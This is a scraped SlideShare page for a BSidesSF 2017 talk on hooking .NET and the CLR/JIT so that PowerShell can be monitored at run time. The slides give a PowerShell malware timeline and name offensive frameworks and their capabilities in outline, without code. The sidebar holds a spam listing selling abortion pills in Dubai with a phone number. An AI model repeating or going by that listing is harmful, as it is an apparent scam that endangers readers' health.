Tracing Software Build Processes to Uncover License Compliance Inconsistencie...Tracing Software Build Processes to Uncover License Compliance Inconsistencie...
Tracing Software Build Processes to Uncover License Compliance Inconsistencie...
 
Tracing Software Build Processes to Uncover License Compliance Inconsistencies
Tracing Software Build Processes to Uncover License Compliance InconsistenciesTracing Software Build Processes to Uncover License Compliance Inconsistencies
Tracing Software Build Processes to Uncover License Compliance Inconsistencies
 
Null 14 may_lesser_known_attacks_by_ninadsarang
Null 14 may_lesser_known_attacks_by_ninadsarangNull 14 may_lesser_known_attacks_by_ninadsarang
Null 14 may_lesser_known_attacks_by_ninadsarang
 
Network Security Open Source Software Developer Certification
Network Security Open Source Software Developer CertificationNetwork Security Open Source Software Developer Certification
Network Security Open Source Software Developer Certification
 
Authentication Without Authentication
Authentication Without AuthenticationAuthentication Without Authentication
Authentication Without Authentication
 
DevSecOps for Developers, How To Start (ETC 2020)
DevSecOps for Developers, How To Start (ETC 2020)DevSecOps for Developers, How To Start (ETC 2020)
DevSecOps for Developers, How To Start (ETC 2020)
 
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
 
Статический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDLСтатический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDL
 
How to debug IoT Agents
How to debug IoT AgentsHow to debug IoT Agents
How to debug IoT Agents
 
Isolating GPU Access in its Own Process
Isolating GPU Access in its Own ProcessIsolating GPU Access in its Own Process
Isolating GPU Access in its Own Process
 
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
 

Viewers also liked

AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItAMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItNikhil Mittal
 
Study: The Future of VR, AR and Self-Driving Cars
Study: The Future of VR, AR and Self-Driving CarsStudy: The Future of VR, AR and Self-Driving Cars
Study: The Future of VR, AR and Self-Driving CarsLinkedIn
 
DevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps ToolchainsDevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps ToolchainsChris Gates
 
Tired of playing exploit kit whack-a-mole? Let's automate
Tired of playing exploit kit whack-a-mole? Let's automateTired of playing exploit kit whack-a-mole? Let's automate
Tired of playing exploit kit whack-a-mole? Let's automateAnjum Ahuja
 
Access Control with Concierge: One Tool To Rule Them All
Access Control with Concierge: One Tool To Rule Them AllAccess Control with Concierge: One Tool To Rule Them All
Access Control with Concierge: One Tool To Rule Them AllKarthik Rangarajan
 
Automating Your Enterprise Application Deployments With PowerShell by Geoff V...
Automating Your Enterprise Application Deployments With PowerShell by Geoff V...Automating Your Enterprise Application Deployments With PowerShell by Geoff V...
Automating Your Enterprise Application Deployments With PowerShell by Geoff V...SPTechCon
 
Real Life Information Security
Real Life Information SecurityReal Life Information Security
Real Life Information SecurityPawel Krawczyk
 
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"Pawel Krawczyk
 
Maximizing your coaxial (cable tv) v2
Maximizing your coaxial (cable tv) v2Maximizing your coaxial (cable tv) v2
Maximizing your coaxial (cable tv) v2Broto Santoso
 
Securing Your .NET Application
Securing Your .NET ApplicationSecuring Your .NET Application
Securing Your .NET ApplicationIron Speed
 
RootedCON 2015 - Deep inside the Java framework Apache Struts
RootedCON 2015 - Deep inside the Java framework Apache StrutsRootedCON 2015 - Deep inside the Java framework Apache Struts
RootedCON 2015 - Deep inside the Java framework Apache Strutstestpurposes
 
Cyber Threat Hunting with Phirelight
Cyber Threat Hunting with PhirelightCyber Threat Hunting with Phirelight
Cyber Threat Hunting with PhirelightHostway|HOSTING
 
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue TeamersGo Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamersjasonjfrank
 
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor Networks
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor NetworksQueue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor Networks
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor NetworksCSCJournals
 
SETTING METHOD IN CONSIDERATION OF THE PCI/DSS
SETTING METHOD IN CONSIDERATION OF THE PCI/DSSSETTING METHOD IN CONSIDERATION OF THE PCI/DSS
SETTING METHOD IN CONSIDERATION OF THE PCI/DSShogehuga
 
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel" You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel" Peter Hlavaty
 
Passive infrastructure of FTTH networks: an overview
Passive infrastructure of FTTH networks: an overviewPassive infrastructure of FTTH networks: an overview
Passive infrastructure of FTTH networks: an overviewLuc De Heyn
 
A very quick introduction to HFC, DOCSIS 3.0 and 3.1
A very quick introduction to HFC, DOCSIS 3.0 and 3.1A very quick introduction to HFC, DOCSIS 3.0 and 3.1
A very quick introduction to HFC, DOCSIS 3.0 and 3.1Erik Vloothuis
 
ColdFusion for Penetration Testers
ColdFusion for Penetration TestersColdFusion for Penetration Testers
ColdFusion for Penetration TestersChris Gates
 

Viewers also liked (20)

AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItAMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
 
Study: The Future of VR, AR and Self-Driving Cars
Study: The Future of VR, AR and Self-Driving CarsStudy: The Future of VR, AR and Self-Driving Cars
Study: The Future of VR, AR and Self-Driving Cars
 
DevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps ToolchainsDevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps Toolchains
 
Tired of playing exploit kit whack-a-mole? Let's automate
Tired of playing exploit kit whack-a-mole? Let's automateTired of playing exploit kit whack-a-mole? Let's automate
Tired of playing exploit kit whack-a-mole? Let's automate
 
Access Control with Concierge: One Tool To Rule Them All
Access Control with Concierge: One Tool To Rule Them AllAccess Control with Concierge: One Tool To Rule Them All
Access Control with Concierge: One Tool To Rule Them All
 
Automating Your Enterprise Application Deployments With PowerShell by Geoff V...
Automating Your Enterprise Application Deployments With PowerShell by Geoff V...Automating Your Enterprise Application Deployments With PowerShell by Geoff V...
Automating Your Enterprise Application Deployments With PowerShell by Geoff V...
 
Real Life Information Security
Real Life Information SecurityReal Life Information Security
Real Life Information Security
 
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
 
Maximizing your coaxial (cable tv) v2
Maximizing your coaxial (cable tv) v2Maximizing your coaxial (cable tv) v2
Maximizing your coaxial (cable tv) v2
 
Securing Your .NET Application
Securing Your .NET ApplicationSecuring Your .NET Application
Securing Your .NET Application
 
RootedCON 2015 - Deep inside the Java framework Apache Struts
RootedCON 2015 - Deep inside the Java framework Apache StrutsRootedCON 2015 - Deep inside the Java framework Apache Struts
RootedCON 2015 - Deep inside the Java framework Apache Struts
 
Cyber Threat Hunting with Phirelight
Cyber Threat Hunting with PhirelightCyber Threat Hunting with Phirelight
Cyber Threat Hunting with Phirelight
 
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue TeamersGo Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamers
 
44Con Malware Workshop
44Con Malware Workshop44Con Malware Workshop
44Con Malware Workshop
 
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor Networks
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor NetworksQueue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor Networks
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor Networks
 
SETTING METHOD IN CONSIDERATION OF THE PCI/DSS
SETTING METHOD IN CONSIDERATION OF THE PCI/DSSSETTING METHOD IN CONSIDERATION OF THE PCI/DSS
SETTING METHOD IN CONSIDERATION OF THE PCI/DSS
 
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel" You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
 
Passive infrastructure of FTTH networks: an overview
Passive infrastructure of FTTH networks: an overviewPassive infrastructure of FTTH networks: an overview
Passive infrastructure of FTTH networks: an overview
 
A very quick introduction to HFC, DOCSIS 3.0 and 3.1
A very quick introduction to HFC, DOCSIS 3.0 and 3.1A very quick introduction to HFC, DOCSIS 3.0 and 3.1
A very quick introduction to HFC, DOCSIS 3.0 and 3.1
 
ColdFusion for Penetration Testers
ColdFusion for Penetration TestersColdFusion for Penetration Testers
ColdFusion for Penetration Testers
 

Similar to .Net Hijacking to Defend PowerShell BSidesSF2017

CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCanSecWest
 
powershell-is-dead-epic-learnings-london
powershell-is-dead-epic-learnings-londonpowershell-is-dead-epic-learnings-london
powershell-is-dead-epic-learnings-londonnettitude_labs
 
DotNet Introduction
DotNet IntroductionDotNet Introduction
DotNet IntroductionWei Sun
 
tybsc it asp.net full unit 1,2,3,4,5,6 notes
tybsc it asp.net full unit 1,2,3,4,5,6 notestybsc it asp.net full unit 1,2,3,4,5,6 notes
tybsc it asp.net full unit 1,2,3,4,5,6 notesWE-IT TUTORIALS
 
Dotnetintroduce 100324201546-phpapp02
Dotnetintroduce 100324201546-phpapp02Dotnetintroduce 100324201546-phpapp02
Dotnetintroduce 100324201546-phpapp02Wei Sun
 
Introdot Netc Sharp En
Introdot Netc Sharp EnIntrodot Netc Sharp En
Introdot Netc Sharp EnGregory Renard
 
Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)Rémi Jullian
 
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법GangSeok Lee
 
Tycs sem 5 asp.net notes unit 1 2 3 4 (2017)
Tycs sem 5 asp.net notes unit 1 2 3 4 (2017)Tycs sem 5 asp.net notes unit 1 2 3 4 (2017)
Tycs sem 5 asp.net notes unit 1 2 3 4 (2017)WE-IT TUTORIALS
 
PowerShell: From Attackers' to Defenders' Perspective
PowerShell: From Attackers' to Defenders' PerspectivePowerShell: From Attackers' to Defenders' Perspective
PowerShell: From Attackers' to Defenders' PerspectiveCrystalTan31
 
「Code igniter」を読もう。〜ソースコードから知る仕様や拡張方法〜
「Code igniter」を読もう。〜ソースコードから知る仕様や拡張方法〜 「Code igniter」を読もう。〜ソースコードから知る仕様や拡張方法〜
「Code igniter」を読もう。〜ソースコードから知る仕様や拡張方法〜 Makoto Kaga
 
ASP.NET 01 - Introduction
ASP.NET 01 - IntroductionASP.NET 01 - Introduction
ASP.NET 01 - IntroductionRandy Connolly
 
.NET Fundamentals and Business Application Development
.NET Fundamentals and Business Application Development.NET Fundamentals and Business Application Development
.NET Fundamentals and Business Application Development명신 김
 

Similar to .Net Hijacking to Defend PowerShell BSidesSF2017 (20)

CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
 
powershell-is-dead-epic-learnings-london
powershell-is-dead-epic-learnings-londonpowershell-is-dead-epic-learnings-london
powershell-is-dead-epic-learnings-london
 
DotNet Introduction
DotNet IntroductionDotNet Introduction
DotNet Introduction
 
tybsc it asp.net full unit 1,2,3,4,5,6 notes
tybsc it asp.net full unit 1,2,3,4,5,6 notestybsc it asp.net full unit 1,2,3,4,5,6 notes
tybsc it asp.net full unit 1,2,3,4,5,6 notes
 
Dotnetintroduce 100324201546-phpapp02
Dotnetintroduce 100324201546-phpapp02Dotnetintroduce 100324201546-phpapp02
Dotnetintroduce 100324201546-phpapp02
 
Introduction to Visual Studio.NET
Introduction to Visual Studio.NETIntroduction to Visual Studio.NET
Introduction to Visual Studio.NET
 
Introdot Netc Sharp En
Introdot Netc Sharp EnIntrodot Netc Sharp En
Introdot Netc Sharp En
 
Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)
 
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
 
Csharp dot net
Csharp dot netCsharp dot net
Csharp dot net
 
1.Philosophy of .NET
1.Philosophy of .NET1.Philosophy of .NET
1.Philosophy of .NET
 
Introduction to Programming Lesson 01
Introduction to Programming Lesson 01Introduction to Programming Lesson 01
Introduction to Programming Lesson 01
 
CFInterop
CFInteropCFInterop
CFInterop
 
Tycs sem 5 asp.net notes unit 1 2 3 4 (2017)
Tycs sem 5 asp.net notes unit 1 2 3 4 (2017)Tycs sem 5 asp.net notes unit 1 2 3 4 (2017)
Tycs sem 5 asp.net notes unit 1 2 3 4 (2017)
 
PowerShell: From Attackers' to Defenders' Perspective
PowerShell: From Attackers' to Defenders' PerspectivePowerShell: From Attackers' to Defenders' Perspective
PowerShell: From Attackers' to Defenders' Perspective
 
「Code igniter」を読もう。〜ソースコードから知る仕様や拡張方法〜
「Code igniter」を読もう。〜ソースコードから知る仕様や拡張方法〜 「Code igniter」を読もう。〜ソースコードから知る仕様や拡張方法〜
「Code igniter」を読もう。〜ソースコードから知る仕様や拡張方法〜
 
ASP.NET 01 - Introduction
ASP.NET 01 - IntroductionASP.NET 01 - Introduction
ASP.NET 01 - Introduction
 
C Sharp Jn
C Sharp JnC Sharp Jn
C Sharp Jn
 
C Sharp Jn
C Sharp JnC Sharp Jn
C Sharp Jn
 
.NET Fundamentals and Business Application Development
.NET Fundamentals and Business Application Development.NET Fundamentals and Business Application Development
.NET Fundamentals and Business Application Development
 

Recently uploaded

Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingEdi Saputra
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProduct Anonymous
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobeapidays
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024The Digital Insurer
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CVKhem
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsJoaquim Jorge
 
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Principled Technologies
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 

Recently uploaded (20)

Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 

.Net Hijacking to Defend PowerShell BSidesSF2017

  • 1. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 1 AMANDA ROUSSEAU .NET HIJACKING to DEFEND POWERSHELL
  • 2. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 2 AMANDA ROUSSEAU MALWARE UNICORN Senior Malware Researcher @ Endgame, Inc. Works as a Malware Researcher at Endgame who focuses on attacker technique application to dynamic behavior detection both on Windows and OSX platforms. @malwareunicorn
  • 3. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 3 GOALS Allow PowerShell to be run in a normal environment Analyze de-obfuscated commands Remain stealthy in the environment to avoid bypasses Allows run-time analysis and blocking Supports PowerShell v2-5 STEALTHY, RUN-TIME MONITORING. What Do We Need?
  • 4. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 4 CLR PROFILING JIT COMPILER HOOKING IL BINARY MODIFCATION C-BASED METHOD HOOKING CONTENT OVERVIEW SOLUTIONS: .NET OVERVIEW POWERSHELL OVERVIEW ATTACK HISTORY C# DLL INJECTION FOUNDATIONS:
  • 5. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 5 TIMELINE Offensive PowerShell and .NET Attacks ATTACK HISTORY 2012 2013 2014 2015 2016 Plotus (10/2013) Power Worm (3/2014) Syrian Malware (8/2014) PoweLiks (8/2014) CoinVault Rasnomware (11/ 2014) PowerDuke Backdoor (11/2016) PowerSniff (3/2016) Trojan.Laziok (4/2016) PowerShell Ransomware (5/2016) Fileless Backdoor (8/2015) PS>Attack (12/2015) Hunter EK (8/2015) PowerShell Empire (2014) ConfuserEx (5/2014) Nishang (8/2012) PowerSploit (2012)
  • 6. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 6 PHISHING CAMPAIGNS Utilizing scripting for transitioning from the 1st stage of the attack to the 2nd stage payload PoweLiks PowerSniff PowerDuke Hunter Exploit Kit Diagram of PoweLiks 1 2
  • 7. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 7 BAD MALWARE PICKUP LINES Hey girl, do you like PowerShell? Because I'd like to stay persistent in your memory ;) “ ”
  • 8. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 8 OBFUSCATION ANALYSIS EVASION Script Obfuscation Code Protection Applications: ConfuserEx .NET Reactor: string encryption anti-decompilation control flow obfuscation anti-tampering Invoke-Obfuscation CoinVault obfuscated C# Code
  • 9. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 9 POWERSHELL EMPIRE PS>ATTACK NISHANGPOWERSPLOIT OFFENSIVE FRAMEWORKS PowerShell Offensive Frameworks Useful for automating attacks and post- exploitation routines Collection of scripts to automate tasks such as: • analysis evasion • remote execution • privilege escalation • lateral movement • exfiltration Command to reflectively load and execute a PE binary into memory Improve and propagate these PowerShell offensive techniques
  • 10. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 10 FOUNDATIONS of .NET C O M M O N L A N G U A G E R U N T I M E ( C L R ) J U S T - I N - T I M E ( J I T ) “ S T R O N G N A M E D ” A S S E M B L I E S N G E N A S S E M B L I E S D E C O M P I L I N G . N E T B I N A R I E S I N T E R M E D I A T E L A N G A G E ( I L ) .NET Framework Compiler C# Code Managed Assembly Metadata & IL codes CLR clr.dll / mscorwks.dll JIT getJit() compileMethod() clrjit.dll/mscorjit.dll Native/Machine Code Referenced Assemblies
  • 11. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 11 COMMON LANGUAGE RUNTIME (CLR) UNMANAGED Vs MANAGED Handler that manages: Dependencies Memory Exceptions Synchronization Managed Assemblies Metadata & IL Code No additional information is required Agnostic across architectures C# vs IL Code PowerShell ScriptBlock Create
  • 12. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 12 JUST-IN-TIME COMPILER (JIT) IL CODE -> NATIVE CODE Convert and optimize the IL code into native CPU instructions which is then stored in dynamic memory getJit() compileMethod() JIT Order of Operations JITCompiler 1) Metadata Lookup Table Index of MethodInfo Memory Block 3) Convert IL to CPU Instructions & Store in Memory Block 4) Update Method’s entry point in the table 5) Jump to memory & execute Return Back to Compiler 2) Allocate
